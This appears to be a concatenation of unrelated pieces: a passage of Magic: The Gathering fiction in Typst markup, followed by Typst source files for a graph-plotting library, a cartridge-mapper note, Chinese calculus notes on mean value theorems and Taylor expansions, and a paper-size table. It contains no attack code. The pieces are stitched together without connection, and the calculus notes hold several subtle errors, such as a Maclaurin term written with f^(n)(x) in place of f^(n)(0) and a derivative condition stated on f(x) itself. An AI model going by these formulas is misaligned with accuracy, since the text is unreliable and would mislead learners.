"No problem," Jace replied dryly. "Let me know if I need to heave myself over the side of another."
A central tower dominated their view. Vraska pulled out the thaumatic compass. It was pointing dead ahead. She put the compass away and looked to Jace. "What we need is in there. Can you send up an illusion to let the crew know where we are?"
Jace wasn't listening. A mental presence had caught his attention. He tilted his head in the direction of the psychic noise.
"What is it?" Vraska whispered.
"It's big."
Jace pulled a wave of illusion over the two of them. It came easily now, somehow even more so than before he had come to Ixalan.
(Another memory: hours and hours spent memorizing text and technique, his teenage self staying up late in bed with a lamp to study by. The hum of a mage ring outside. Millard's Procedure. Circumstantial Manipulations. Tricien's Law. Over and over until the names, techniques, and executions of psychic maneuvers came as easily as breathing.)
Vraska looked toward the staircase they had just climbed and gasped.
An immense dinosaur's head towered over the city.
#figure(image("002_Glimpse the Far Side of the Sun/05.jpg", width: 100%), caption: [Zetalpa, Primal Dawn | Art by <NAME>allis], supplement: none, numbering: none)
It stretched its wings and launched itself into the air. Each flap of its wings rustled the trees, and Jace marveled at how such a massive creature could fly. The creature sailed upward, predatory and alert, but Jace remained still. He and Vraska were safe beneath his illusion.
In that moment, Jace noticed a change within himself. The Jace of Zendikar and Innistrad and Ravnica had a nervous energy about him, persistently bored and disastrously introspective, constantly aware of the chasm of absent memory that was always on his mind's horizon. The Jace without a past was present, alert, comfortable no matter the circumstance and ready to face whatever might come his way. He remembered what it was like to be both, but recognized how much more natural it was to be the latter. In the span of a moment, Jace was surprised at himself, and then realized his earnestness of late, of Ixalan, was not manufactured, nor was his mindfulness something he could only access in a state of amnesia. That was who he had always been. He had just forgotten.
(A memory: his mother, arriving home from a day at work, dressed in her healer's smock, looking out the open window at a storm in the distance with a cup of coffee nestled in her hands and a little smile on her tired face. He heard fat raindrops rattling the tin roof. The air smelled like wet concrete and home.)
Jace smiled. He liked being able to remember his mother.
#emph[I hope she is alive, ] he thought to himself.
"It's gone," Vraska said, breaking the spell.
Jace remembered where he was and released his hold on his illusion.
"You cast that illusion more quickly than I've seen you do it before," she said.
Jace nodded with a tight smile. "I can remember the skills my mentor taught me, now. I learned more from him by the time I was a teenager than I ever did teaching myself."
"So teenage you had more refined technique than adult you?"
"And now current me has the knowledge of both. It's . . . weird."
Vraska looked him in the eye. "You're incredible. You know that, right?"
Jace returned her smile and felt his cheeks warming. "I do my best."
"Well, your best is incredible," Vraska said, turning toward the central tower and approaching a large gate on what appeared to be its back side.
Liliana never told Jace he was incredible.
Liliana would have scoffed. She would have made a dismissive joke, rolled her eyes, and called him a show-off. She would not bother to talk to him for days. She would consume the body of a demon with a crocodile's jaws and laugh over the sound of its flesh tearing off. She would do all sorts of things, but she would never call him incredible.
Jace caught up with Vraska as she walked, and they approached the central tower. She pulled out the thaumatic compass—its point was focused directly on the back door to the tower in front of them.
The sky above was turning an alarming black, and smoke swirled around the top of the tower above them. Jace and Vraska shared a worried look.
"Did the vampires get here first?" Vraska asked.
The rolling, inky clouds above gave them their answer.
Vraska tried to shove the gate open, but it was locked shut. She stood back and eyeballed the pattern on the front of the door.
"It's a maze," Vraska said at the same time as Jace. They glanced at each other briefly, awkwardly.
Vraska gestured toward Jace. "Have at it," she said. "You're the maze guy."
Jace started to trace the solution to the maze, a line of blue magically trailing his fingers as they moved. The churning black in the sky above inspired him to hasten his pace.
"That's me," he said with amusement. "<NAME>: Living Guildpact, telepath, illusionist, maze guy."
"Rolls right off the tongue."
#figure(image("002_Glimpse the Far Side of the Sun/06.jpg", width: 100%), caption: [Azor's Gateway | Art by Yeong-Hao Han], supplement: none, numbering: none)
His fingers found the end of the maze in the center of the door. Jace's gut dropped to his knees. He extended his senses to see who was on the other side of the door and threw up a mental shield around himself and Vraska.
"What's wrong?" she asked. Jace realized his jaw was hanging open. He pointed to the symbol on the door.
"That's the symbol that appeared over our heads every time we tried to planeswalk," he said. "It's the symbol of the Azorius."
Vraska furrowed her brow. "The Azorius are on Ravnica."
Jace's gut flip-flopped. With a brief mental scan, he sensed someone was in the room. He looked at Vraska with only a hint of panic. "Were there any famous Azorius Planeswalkers?"
Vraska's brow furrowed. "I don't know. There isn't exactly an index."
"It would have to be someone high up in the organization. Someone who saw that symbol as their own personal identity," he said, punctuating his statement by pointing at the door in front of them.
"The parun of the Azorius was Azor."
Jace scanned the room again and froze. He did not know who was inside, but he instantly knew #emph[what ] was inside. This person's mind was familiar, labyrinthine, a mind like only one he had ever encountered before.
#emph[Was Azor a sphinx? ] he asked Vraska in her mind with hushed terror.
She looked back at him with concern. She knew what sphinxes meant to him. She tapped a finger to the side of her head, and Jace mentally listened.
#emph[You'll never be hurt by a sphinx ever again, ] she said with resolution. A cruel hint of amber flashed in her eyes.
Jace could have hugged her there and then. He remembered her preferences, and settled for a thankful smile.
#emph[I'll start charging to petrify] , Vraska said. #emph[Give me the word and he's dead.]
Jace nodded. Anxiety ate at his nerves, and his mouth tasted of dull metallic fear.
He pushed the door and watched it creak open, sifting dust down as it revealed the chamber inside.
The room was long and covered in vines. An immense throne was at the far end, and a massive glowing disc was embedded in the ceiling above. Dried grass and cloth was littered at the base of the throne, and as Jace and Vraska opened the door, they saw a massive figure lift its bearded head.
#figure(image("002_Glimpse the Far Side of the Sun/07.jpg", width: 100%), caption: [Azor, the Lawbringer | Art by Ryan Pancoast], supplement: none, numbering: none)
"Who approaches?" said the sphinx. His voice was scratchy with disuse, more animal growl than human speech.
Vraska stepped forward, confident and calm, every ounce the captain that she was. "Two strangers to this world. Tell us your name, step out of the way, and give us the Immortal Sun if you do not wish to die."
The sphinx glowered at them both. He was immense, and held himself with a predatory tension that contrasted the wisdom of his gaze.
"I am Azor, the Lawbringer," he growled, tipping his head as he stared at Vraska. "And you will be a prisoner for the third time in your life, #emph[gorgon] ."
Jace slammed a psychic ward between the sphinx and Vraska. She had gone still with surprise at the sphinx's mental intrusion, shocked he would dip into her mind without a second thought.
#emph[He is so much like Alhammarret] , Jace thought, his chest tightening with the ache of memory. He stowed his fear. He was not ruled by a sphinx. Not anymore.
"You will refer to her as #emph[Captain] ," Jace said in a measured tone.
The sphinx growled and looked past Vraska at Jace. "And what does that make you?"
"I am <NAME>, the Living Guildpact," he said with confidence.
The sphinx's wings flinched. "The fail-safe?!"
"The pirate."
|
|
https://github.com/MuShann/typst-graph | https://raw.githubusercontent.com/MuShann/typst-graph/main/typst-graph.typ | typst | #import "calculate.typ": *
#let d(..nums, grid: 1, fill: white, stroke: none, clip: false, body) = {
let area = nums.pos() + (-5, -5, 5, 5).slice(nums.pos().len(), 4)
let w = (area.at(2) - area.at(0))*10pt
let h = (area.at(3) - area.at(1))*10pt
grid *= 10pt
if stroke == none {stroke = (thickness: 0.25pt, paint: fill.darken(20%))}
fill = fill.lighten(90%)
box(width: w, height: h, clip: clip,
{
rect(fill: fill, width: w, height: h)
if grid != 0pt {
place(stack(dir: ltr, ..range(int(w/grid)+1).map(x => place(line(start: (x*grid, 0pt), length: h, angle: -90deg, stroke: stroke)))))
place(stack(dir: ttb, ..range(int(h/grid)+1).map(x => place(line(start: (0pt, -x*grid), length: w, stroke: stroke)))))
}
place(left+bottom, dx: -area.at(0)*10pt, dy: area.at(1)*10pt,
{for item in body.children {place(item)}}
)
}
)
}
#let f(..nums, prec: 1, stroke: black+0.5pt, name: true, var: "x", func: none, body) = {
let nums = nums.pos() + (-5, 5, -100, 100).slice(nums.pos().len(), 4)
let (begin, end, down, up) = nums
let begin_int = 0
let end_int = 0
if begin < 0 {begin_int = int(begin)} else {begin_int =int(begin)+1}
if end < 0 {end_int = int(end)-1} else {end_int = int(end)}
let lines = ()
let points = ()
let flag = false
let x_range = range(0, int(calc.abs(begin -begin_int)*100)).map(x => begin+x/100)+range(0,(end_int -begin_int)*10*prec+1).map(x => begin_int+x/10/prec)+range(0,int(calc.abs(end -end_int)*100)).map(x => end_int+x/100)
for x in x_range {
let y = 0
if func == none {
y = -calc_math(body, var, x)
}
else {
y = -func(x)
}
if -y < up and -y > down {points.push((x*10pt, y*10pt));flag = true}
else if flag == true {lines.push(points);points = ();flag = false}
else {flag = false}
}
if points.len() != 0 {lines.push(points)}
for line in lines {place(top, path(stroke: stroke, ..line))}
if name {
let last = lines.filter(x => x.len() != 0).last().last()
place(dx: last.at(0)+2pt, dy: last.at(1)-0.25em,text(size:0.5em, body))
}
}
#let p(x, y, color, radius: 1.2pt, solid: true, dir: left, body) = {
place(dx:x*10pt-radius, dy: -y*10pt-radius)[
#if solid {circle(radius: radius, fill: color)}
else {circle(radius: radius, stroke: 0.75pt+color)}
]
let align = none
if dir == left {align = left+horizon}
else if dir == right {align = right+horizon}
else if dir == top {align = center+bottom}
else if dir == bottom {align = center+top}
place(dx: x*10pt, dy: -y*10pt, box(width: 0pt, height: 0pt, inset: 2pt, place(align, body)))
}
#let l(..nums, stroke: 1pt, larr: 0, rarr: 0, dir: left, body) = {
let (x0, y0, x1, y1) = nums.pos() + (0, 0, 5, 5).slice(nums.pos().len(), 4)
let angle = 0deg
if x0 == x1 {angle = -90deg}
else {angle = calc.atan((y0 - y1)/(x1 - x0))}
if x0 > x1 or ((not x0 < x1) and y0 > y1) {angle += 180deg}
let len = calc.sqrt(calc.pow((x0 -x1),2)+calc.pow((y0 -y1),2))
set path(stroke: stroke)
place(path((x0*10pt, -y0*10pt), (x1*10pt, -y1*10pt)))
if larr != 0 {
place(
dx: x1*10pt, dy: -y1*10pt,
rotate(
angle,
box(width: 0pt, height: 0pt,
place(center+horizon, dy: larr*0.5pt,
path((-larr*2pt, larr*1pt), (0pt, 0pt), (-larr*2pt, -larr*1pt))
)
)
)
)
}
if rarr != 0 {
place(
dx: x0*10pt, dy: -y0*10pt,
rotate(
angle,
box(width: 0pt, height: 0pt,
place(center+horizon, dx: rarr*1pt, dy: rarr*0.5pt,
path((rarr*2pt, rarr*1pt), (0pt, 0pt), (rarr*2pt, -rarr*1pt))
)
)
)
)
}
set text(baseline: -0.125em)
let align = none
if dir == left {align = left+horizon}
else if dir == right {align = right+horizon}
else if dir == top {align = center+bottom}
else if dir == bottom {align = center+top}
place(dx: x1*10pt, dy: -y1*10pt, box(width: 0pt, height: 0pt, inset: 2pt, place(align,body)))
}
|
|
https://github.com/Gekkio/gb-ctr | https://raw.githubusercontent.com/Gekkio/gb-ctr/main/chapter/cartridges/mbc6.typ | typst | Creative Commons Attribution Share Alike 4.0 International | #import "../../common.typ": *
== MBC6 mapper chip
MBC6 supports ROM sizes up to 16 Mbit (256 banks of #hex("2000") bytes), and RAM sizes up to 4 Mbit (128 banks of #hex("1000") bytes). The information in this section is based on my MBC6 research.
|
https://github.com/mem-courses/calculus | https://raw.githubusercontent.com/mem-courses/calculus/main/note-1/4.中值定理.typ | typst | #import "../template.typ": *
#show: project.with(
course: "Calculus I",
course_fullname: "Calculus (A) I",
course_code: "821T0150",
semester: "Autumn-Winter 2023",
title: "Note #4: 中值定理",
authors: (
(
name: "memset0",
email: "<EMAIL>",
id: "3230104585",
),
),
date: "November 28, 2023",
)
#let def(x) = text("【" + x + "】", weight: "bold")
#let deft(x) = text("【" + x + "】", weight: "bold", fill: rgb("#FFFFFF"))
= 函数的极值与单调性
== 极值点
=== 极值点的定义
#definition[
设 $y=f(x) sp (x in D), sp x_0 in D$，若 $exists delta > 0$，当 $0<|x-x_0|<delta$ 时，有 $f(x)<f(x_0)$ 则称 $x=x_0$ 为 $f(x)$ 的#bb[极大值点]，$f(x_0)$ 为#bb[极大值]。
]
#definition[
设 $y=f(x) sp (x in D), sp x_0 in D$，若 $exists delta > 0$，当 $0<|x-x_0|<delta$ 时，有 $f(x)>f(x_0)$ 则称 $x=x_0$ 为 $f(x)$ 的#bb[极小值点]，$f(x_0)$ 为#bb[极小值]。
]
#caution[
1. 极值点处的导数可能不存在，但不可能为一个非零实数。
2. 注意“极值点”的概念，是用 $x=x_0$ 的形式表示的，而不是 $f(x_0)$ 或 $(x_0,f(x_0))$。
]
=== 极值点的必要条件
#theorem(name: "费马引理")[
设 $x_0$ 是 $f(x)$ 的极值点。若 $f'(x_0)$ 存在，则 $f'(x_0) = 0$。
#proof[
设 $forall x_0 + Dx in union.big (x_0),sp f(x_0 + Dx) <= f(x_0)$．则
$
f'(x_0) = lim_(Dx->0) (f(x_0+Dx) - f(x_0)) / Dx
=> cases(
f'_-(x_0) >= 0 (Dx->0^-),
f'_+(x_0) <= 0 (Dx->0^+),
)
$
由于 $f'(x_0)$ 存在，故只能有 $f'(x_0) = 0$．
]
]
#theorem[
设 $x_0$ 是 $f(x)$ 的极值点。若 $f(x)$ 在 $x=x_0$ 的去心领域内导函数存在且不为零，则两侧导函数必须异号。
]
=== 极值点的充分条件
#theorem(name: "极值的第一充分条件")[
设 $f(x)$ 在点 $x_0$ 的邻域内连续，且在空心邻域内有导数，则
1. 若 $f'(x)$ 在左邻域为正，右邻域为负，则 $f(x)$ 在点 $x_0$ 取极大值；
2. 若 $f'(x)$ 在左邻域为负，右邻域为正，则 $f(x)$ 在点 $x_0$ 取极小值；
3. 否则，则说明 $f(x_0)$ 不是极值．
]
#theorem(name: "极值的第二充分条件")[
设 $f(x)$ 在点 $f(x_0)$ 处具有二阶导数且 $f'(x_0),sp f''(x_0) != 0$．若 $f''(x_0)<0$（$f''(x_0)>0$）则 $f(x)$ 在点 $x_0$ 处取极大值（极小值）．
进一步的，若 $f(x)$ 在点 $x_0$ 有直到 $n$ 阶导数，且 $f'(x_0)=f''(x_0)=dots.c=f^((n-1))(x_0) = 0$，$f^((n))(x_0)!=0$．当 $n$ 为*偶数*时，$x_0$ 是极值点；否则，$x_0$ 不是极值点．
]
#proof[
利用泰勒公式：
$ f(x) - f(x_0) = (f^((n))(x_0)) / (n!) (x-x_0)^n + o((x-x_0)^n)) $
可知则当 $x->x_0$ 时，$f(x)-f(x_0)$ 的符号应由 $display((f^((n))(x_0))/(n!)) (x-x_0)^n$ 的符号决定．
]
== 函数的单调性
#theorem[
设函数 $f(x)$ 在区间 $I$ 上连续，在区间 $I$ 内可导，则
(1) 若 $f'(x)>=0,sp x in I^o$，则 $f(x)$ 在 $I$ 上递增；
(2) 若 $f'(x)<=0,sp x in I^o$，则 $f(x)$ 在 $I$ 上递减；
(3) 若 $f'(x)=0,sp x in I^o$，则 $f(x)$ 在 $I$ 上恒等于常数 $c$；
#proof[
任取 $x_1,x_2 in I sp (x_1<x_2)$，由拉格朗日中值定理得
$ f(x_2) - f(x_1) = f'(xi) (x_2-x_1),quad xi in (x_1,x_2) in I $
依次代入 (1)(2)(3) 的条件，可以得到对应结论．
]
]
#theorem[
设函数 $f(x)$ 在区间 $I$ 上连续，在区间 $I$ 内可导．则当 $x in I^O,sp f'(x) >= 0$ 且 $f(x)$ 在 $I$ 的任何子区间上 $f'(x) equiv.not 0$ $<==>$ $f(x)$ 在区间 $I$ 上*严格*单调增加．
]
== 达布定理
#theorem(name: "达布定理")[
设 $f(x)$ 在 $[a,b]$ 上可导，且 $f'_+(a) f'_-(b)<0$，则 $exists xi in (a,b) st f'(xi) = 0$．
]
#corollary[
设 $f(x)$ 在 $[a,b]$ 上可导，且 $f(a)<c<f(b)$，则 $exists xi in (a,b) st f'(xi) = c$．
]
#corollary[
设 $f(x)$ 在 $[a,b]$ 上连续，在 $(a,b)$ 内可导，且 $forall x in (a,b),sp f(x) != 0$，则 $f(x)$ 在 $[a,b]$ 上严格单调．
]
#note[
这指出了 $f(x)$ 的导数满足介值定理，但这并不意味着导函数连续，如 $f(x) = x^2 sin(display(1/x^2))$，但考虑
$ f'(x) = 2x sin(display(1/x^2)) - display(2/x) cos(display(1/x^2)) $
其在 $0$ 的邻域内振荡．导函数的值可以取到任意实数但并不连续．
]
= 函数的凹凸性、拐点与渐近线
== 凹凸性
#theorem(name: "曲线凹凸性的判定定理")[
设函数 $f(x)$ 在区间 $(a,b)$ 内具有二阶导数，那么：
1. 若 $x in (a,b)$ 有 $f''(x)>0$，则曲线 $y=f(x)$ 在 $(a,b)$ 内是凹的；
2. 若 $x in (a,b)$ 有 $f''(x)<0$，则曲线 $y=f(x)$ 在 $(a,b)$ 内是凸的；
#hint[本书中的凹函数是指下凸函数，凸函数是指上凸函数．]
]
== 拐点
拐点就是使连续函数的凹凸性发生改变的点．
#caution[拐点的表示方法是 $(x_0,f(x_0))$，与极值点不同。]
=== 拐点的必要条件
#theorem[
设函数 $f(x)$ 在 $x_0$ 的邻域内存在二阶导数，若 $x_0$ 是 $y=f(x)$ 的拐点，则必有 $f''(x_0) = 0$．*反之不成立*．
]
=== 拐点的充分条件
#theorem[
设函数 $f(x)$ 在 $x_0$ 的某邻域内具有二阶导数，若在 $x_0$ 的两侧 $f''(x_0)$ 异号，则 $(x_0,f(x_0))$ 是 $y=f(x)$ 的拐点；反之，$(x_0,f(x_0))$ 就不是曲线的拐点．
]
#corollary[
设函数 $f(x)$ 在 $x_0$ 的某邻域内具有三阶导数，且满足 $f''(x_0)=0$，$f'''(x_0) != 0$，则 $(x_0,f (x_0))$ 是 $y=f(x)$ 的拐点。（如果 $f'''(x_0)=0$，也可以将结论进一步推广）
]
== 渐近线
曲线的渐近线有且仅有斜渐近线和垂直渐近线两种．
=== 斜渐近线
$y=a x+b$ 是曲线 $y=f(x)$ 的#bb[斜渐近线]的充要条件是 $display(lim_(x->oo)(f(x)-a x-b)/x = 0)$．当 $a=0$ 时，该渐近线又可称为#bb[水平渐近线]．
#hint[
可以通过：
$ a &= lim_(x->oo) (f(x)) / x, quad b &= lim_(x->oo) (f(x) - a x) $
计算得到函数的斜渐进线。
]
一个函数最多有*两条*斜渐进线，如果要检查斜渐近线是否存在，只需要分别判断 $display(lim_(x->+oo) (f(x))/x)$ 和 $display(lim_(x->-oo) (f(x))/x)$ 是否收敛到常数即可．
#proof[
在曲线上任取一点 $M(x,f(x))$ 作到 $y=a x+b$ 的垂线，垂足为 $n$．若 $y=a x + b$ 是 $f(x)$ 的渐近线，则当 $x->oo$ 时 $|M N| -> 0$，其中 $display(|M N| = (|f(x) - a x - b|)/sqrt(a^2+1))$．由 $sqrt(a^2 + 1) != 0$，可以得到上面的判定条件．
]
=== 垂直渐近线
$x=x_0$ 是曲线 $y=f(x)$ 的#bb[垂直渐近线]的充分必要条件是 $display(lim_(x->x_0) f(x) = oo)$（可以两侧分别是 $+oo$ 和 $-oo$）．
= 中值定理
== 罗尔定理
如果 $y=f(x)$ 满足在区间 $[a,b]$ 上连续，在区间 $(a,b)$ 内可导，且 $f(a)=f(b)$，那么至少存在一点 $xi in (a,b)$ 使得 $f'(xi) = 0$．
#proof[
因为 $f'(x)$ 在 $[a,b]$ 连续，所以 $f'(x)$ 在 $[a,b]$ 上存在最大值 $M$ 和最小值 $m$．
- 若 $M=m$，则 $f(x)$ 恒等于 $M$，$forall xi in (a,b),sp f'(xi)=0$；
- 若 $M>m$，则其中至少有一个不在 $x=a$ 或 $x=b$ 时取到，不妨设 $M!=f(a)$，则至少存在一点 $xi in (a,b) st f(xi) = M$．根据费马引理，有 $f'(xi) = 0$．
]
#warning[定理条件只是充分的，本定理可推广为：如果 $y=f(x)$ 在 $(a,b)$ 内可导且 $display(lim_(x->a^+) f(x))$ $=$ $display(lim_(x->b^-) f(x))$，那么 $exists xi in (a,b) st f'(xi) = 0$．]
== 拉格朗日中值定理
如果 $y=f(x)$ 满足在区间 $[a,b]$ 上连续，在区间 $(a,b)$ 上可导，那么至少存在一点 $xi in (a,b)$ 使得 $f'(xi) = display((f(b) - f(a))/(b-a))$．
#note[这可看作是拉格朗日定理的参数方程形式．]
#proof[
#def[证明]问题转化为证 $f'(xi) = display((f(b) - f(a))/(b-a)) = 0$，作辅助函数
$
F(x) = f(x) - (f(b)-f(a)) / (b-a) x
$
显然 $F(x)$ 在 $[a,b]$ 上连续，在 $(a,b)$ 上可导，且 $F(a) = F(b)$．由罗尔定理知至少存在一点 $xi in (a,b)$ 使 $F'(xi) = 0$，即定理结论成立．
或者考虑弦 $(a,f(a)),sp (b,f(b))$ 的方程：$display(f(a) + (f(b)-f(a))/(b-a) (x-a))$，作辅助函数：
$
F(x) = f(x) - f(a) - (f(b)-f(a)) / (b-a) (x-a)
$
也可以证得同样的结论．
]
== 柯西中值定理
如果 $f(x)$ 及 $F(x)$ 满足在 $[a,b]$ 上连续，在 $(a,b)$ 内可导，且在 $(a,b)$ 内 $F'(x) != 0$，那么至少存在一点 $xi in (a,b)$ 使得 $display((f(b)-f(a))/(F(b)-F(a)) = (f'(xi))/(F'(xi)))$．
#proof[
#def[证明]要证 $display((f(b)-f(a))/(F(b)-F(a)) F'(xi) - f'(xi) = 0)$，构造辅助函数
$
phi(x) = (f(b)-f(a)) / (F(b)-F(a)) F(x) - f(x)
$
显然 $phi(x)$ 在 $[a,b]$ 上连续，在 $(a,b)$ 上可导，且
$
phi(a) - phi(b)
&= (f(b)-f(a)) / (F(b)-F(a)) F(a) - f(a) - (f(b)-f(a)) / (F(b)-F(a)) F(b) + f(a)\
&= (f(b)-f(a))((F(a)-F(b)) / (F(b)-F(a)) + 1) = 0
$
由罗尔定理知至少存在一点 $xi in (a,b)$ 使 $phi'(xi) = 0$，即定理结论成立．
]
= 洛必达法则
== 例题
#def[例1]求 $display(lim_(x->+oo) (x^n)/(e^(lambda x))) sp (n>0,lambda >0)$．
#proof[
(1) $n in NN^+$ 的情形：
$
"原式"
&= lim_(x->+oo) (n x^(n-1)) / (lambda e^(lambda x)) = lim_(x->+oo) (n(
n-1
) x^(n-2)) / (lambda^2 e^(lambda x)) = dots.c = lim_(x->+oo) (n!) / (lambda^n e^(lambda x)) = 0
$
(2) $n in.not NN^+$ 的情形：
存在正整数 $k$，使当 $x>1$ 时 $x^k < x^n < x^(k+1)$．从而
$
(x^k) / (e^(lambda x)) < (x^n) / (e^(lambda x)) < (x^(k+1)) / (e^(lambda x))
$
由 $(1)$ 可得 $display(lim_(x->+oo) (x^k)/(e^(lambda x)) = lim_(x->+oo) (x^(k+1))/(e^(lambda x)) = 0)$．
]
#note[
这表明当 $x->+oo$ 时，$ln x,sp x^n (x>0),sp e^(lambda x) (lambda >0)$，后者比前者趋于 $+oo$ 更快．
]
= 泰勒公式
== 泰勒公式与泰勒中值定理
若 $f(x)$ 在包含 $x_0$ 的某开区间 $(a,b)$ 内具有直到 $n+1$ 阶的导数，则当 $x in (a,b)$ 时，有
$
f(x) = f(x_0) + f'(x_0)(x-x_0) + (f''(x_0)) / (2!) (x-x_0)^2 + dots.c + (f^((n))(x_0)) / (n!) (x-x_0)^n + R_n (
x
) quad ①
$
其中 $display(R_n (x) = (f^((n+1))(xi))/((n+1)!) (x-x_0)^(n+1)) sp (xi in (x_0,x)) quad ②$．注意到 $R_n (x) = o[(x-x_0)^n]$．
$①$ 式称为 $f(x)$ 的 $n$ 阶 *泰勒公式*，$②$ 式称为 $n$ 阶泰勒公式的 *拉格朗日余项*．
== 麦克劳林公式
在泰勒公式中若取 $x_0=0,sp xi = theta x sp (0<theta<1)$，则有
$
f(x) = f(0) + f'(0) x + (f''(0)) / (2!) x^2 + dots.c + (f^((n))(x)) / (n!) x^n + (f^((n+1))(theta x)) / ((
n+1
)!) x^(n+1)
$
称为 $f(x)$ 的 $n$ 阶 *麦克劳林公式*．
=== 常见函数的麦克劳林公式
$ e^x = 1 + x + x^2 / (2!) + x^3 / (3!) + dots.c + x^n / (n!) + R_n (x) $
其中 $R_n (x) = display((e^(theta x))/((n+1)!)) x^(n+1)$．
$ ln(1+x) = x - x^2 / 2 + x^3 / 3 - dots.c + (-1)^(n-1) x^n / (n) + R_n (x) $
其中 $display(R_n(x) = ((-1)^n x^(n+1))/((n+1) (1+theta x)^(n+1)) sp (0<theta<1))$．
$ sin x = x - x^3 / (3!) + x^5 / (5!) - dots.c + (-1)^(m-1) (x^(2m-1)) / ((2m-1)!) + R_(2m) (x) $
其中 $R_(2m) (x) = display((sin(theta x + (2m+1)/2 pi))/((2m+1)!)) x^(2m+1) = display(((-1)^m cos(theta x))/((2m+1)!) x^(2m+1)) sp (0<theta<1)$．
$ cos x = 1 - (x^2) / (2!) + (x^4) / (4!) + dots.c + (-1)^m (x^(2m)) / ((2m)!) + R_(2m+1) (x) $
其中 $R_(2m+1) (x) = display(((-1)^(m+1) cos (theta x))/((2m+2)!)) x^(2m+2) sp (0<theta<1)$．
$
(1+x)^alpha = 1 + alpha x + (alpha(alpha-1)) / (2!) x^2 + dots.c + (alpha(alpha-1)dots.c(alpha-n+1)) / (n!) x^n + R_n(
x
) quad (x> -1)
$
其中 $R_(n) = display((alpha(alpha-1)dots.c(alpha-n))/((n+1)!) (1+theta x)^(alpha-n-1) x^(n+1))$． |
|
https://github.com/knuesel/typst-minideck | https://raw.githubusercontent.com/knuesel/typst-minideck/main/paper.typ | typst | MIT License | // From typst source crates/typst/src/layout/page.rs
#let papers = (
// ISO 216 A Series
a0: (width: 841.0, height: 1189.0),
a1: (width: 594.0, height: 841.0),
a2: (width: 420.0, height: 594.0),
a3: (width: 297.0, height: 420.0),
a4: (width: 210.0, height: 297.0),
a5: (width: 148.0, height: 210.0),
a6: (width: 105.0, height: 148.0),
a7: (width: 74.0, height: 105.0),
a8: (width: 52.0, height: 74.0),
a9: (width: 37.0, height: 52.0),
a10: (width: 26.0, height: 37.0),
a11: (width: 18.0, height: 26.0),
// ISO 216 B Series
iso-b1: (width: 707.0, height: 1000.0),
iso-b2: (width: 500.0, height: 707.0),
iso-b3: (width: 353.0, height: 500.0),
iso-b4: (width: 250.0, height: 353.0),
iso-b5: (width: 176.0, height: 250.0),
iso-b6: (width: 125.0, height: 176.0),
iso-b7: (width: 88.0, height: 125.0),
iso-b8: (width: 62.0, height: 88.0),
// ISO 216 C Series
iso-c3: (width: 324.0, height: 458.0),
iso-c4: (width: 229.0, height: 324.0),
iso-c5: (width: 162.0, height: 229.0),
iso-c6: (width: 114.0, height: 162.0),
iso-c7: (width: 81.0, height: 114.0),
iso-c8: (width: 57.0, height: 81.0),
// DIN D Series (extension to ISO)
din-d3: (width: 272.0, height: 385.0),
din-d4: (width: 192.0, height: 272.0),
din-d5: (width: 136.0, height: 192.0),
din-d6: (width: 96.0, height: 136.0),
din-d7: (width: 68.0, height: 96.0),
din-d8: (width: 48.0, height: 68.0),
// SIS (used in academia)
sis-g5: (width: 169.0, height: 239.0),
sis-e5: (width: 115.0, height: 220.0),
// ANSI Extensions
ansi-a: (width: 216.0, height: 279.0),
ansi-b: (width: 279.0, height: 432.0),
ansi-c: (width: 432.0, height: 559.0),
ansi-d: (width: 559.0, height: 864.0),
ansi-e: (width: 864.0, height: 1118.0),
// ANSI Architectural Paper
arch-a: (width: 229.0, height: 305.0),
arch-b: (width: 305.0, height: 457.0),
arch-c: (width: 457.0, height: 610.0),
arch-d: (width: 610.0, height: 914.0),
arch-e1: (width: 762.0, height: 1067.0),
arch-e: (width: 914.0, height: 1219.0),
// JIS B Series
jis-b0: (width: 1030.0, height: 1456.0),
jis-b1: (width: 728.0, height: 1030.0),
jis-b2: (width: 515.0, height: 728.0),
jis-b3: (width: 364.0, height: 515.0),
jis-b4: (width: 257.0, height: 364.0),
jis-b5: (width: 182.0, height: 257.0),
jis-b6: (width: 128.0, height: 182.0),
jis-b7: (width: 91.0, height: 128.0),
jis-b8: (width: 64.0, height: 91.0),
jis-b9: (width: 45.0, height: 64.0),
jis-b10: (width: 32.0, height: 45.0),
jis-b11: (width: 22.0, height: 32.0),
// SAC D Series
sac-d0: (width: 764.0, height: 1064.0),
sac-d1: (width: 532.0, height: 760.0),
sac-d2: (width: 380.0, height: 528.0),
sac-d3: (width: 264.0, height: 376.0),
sac-d4: (width: 188.0, height: 260.0),
sac-d5: (width: 130.0, height: 184.0),
sac-d6: (width: 92.0, height: 126.0),
// ISO 7810 ID
iso-id-1: (width: 85.6, height: 53.98),
iso-id-2: (width: 74.0, height: 105.0),
iso-id-3: (width: 88.0, height: 125.0),
// ---------------------------------------------------------------------- //
// Asia
asia-f4: (width: 210.0, height: 330.0),
// Japan
jp-shiroku-ban-4: (width: 264.0, height: 379.0),
jp-shiroku-ban-5: (width: 189.0, height: 262.0),
jp-shiroku-ban-6: (width: 127.0, height: 188.0),
jp-kiku-4: (width: 227.0, height: 306.0),
jp-kiku-5: (width: 151.0, height: 227.0),
jp-business-card: (width: 91.0, height: 55.0),
// China
cn-business-card: (width: 90.0, height: 54.0),
// Europe
eu-business-card: (width: 85.0, height: 55.0),
// French Traditional (width:
fr-tellière: (width: 340.0, height: 440.0),
fr-couronne-écriture: (width: 360.0, height: 460.0),
fr-couronne-édition: (width: 370.0, height: 470.0),
fr-raisin: (width: 500.0, height: 650.0),
fr-carré: (width: 450.0, height: 560.0),
fr-jésus: (width: 560.0, height: 760.0),
// United Kingdom Imperial
uk-brief: (width: 406.4, height: 342.9),
uk-draft: (width: 254.0, height: 406.4),
uk-foolscap: (width: 203.2, height: 330.2),
uk-quarto: (width: 203.2, height: 254.0),
uk-crown: (width: 508.0, height: 381.0),
uk-book-a: (width: 111.0, height: 178.0),
uk-book-b: (width: 129.0, height: 198.0),
// Unites States
us-letter: (width: 215.9, height: 279.4),
us-legal: (width: 215.9, height: 355.6),
us-tabloid: (width: 279.4, height: 431.8),
us-executive: (width: 84.15, height: 266.7),
us-foolscap-folio: (width: 215.9, height: 342.9),
us-statement: (width: 139.7, height: 215.9),
us-ledger: (width: 431.8, height: 279.4),
us-oficio: (width: 215.9, height: 340.36),
us-gov-letter: (width: 203.2, height: 266.7),
us-gov-legal: (width: 215.9, height: 330.2),
us-business-card: (width: 88.9, height: 50.8),
us-digest: (width: 139.7, height: 215.9),
us-trade: (width: 152.4, height: 228.6),
// ---------------------------------------------------------------------- //
// Other
newspaper-compact: (width: 280.0, height: 430.0),
newspaper-berliner: (width: 315.0, height: 470.0),
newspaper-broadsheet: (width: 381.0, height: 578.0),
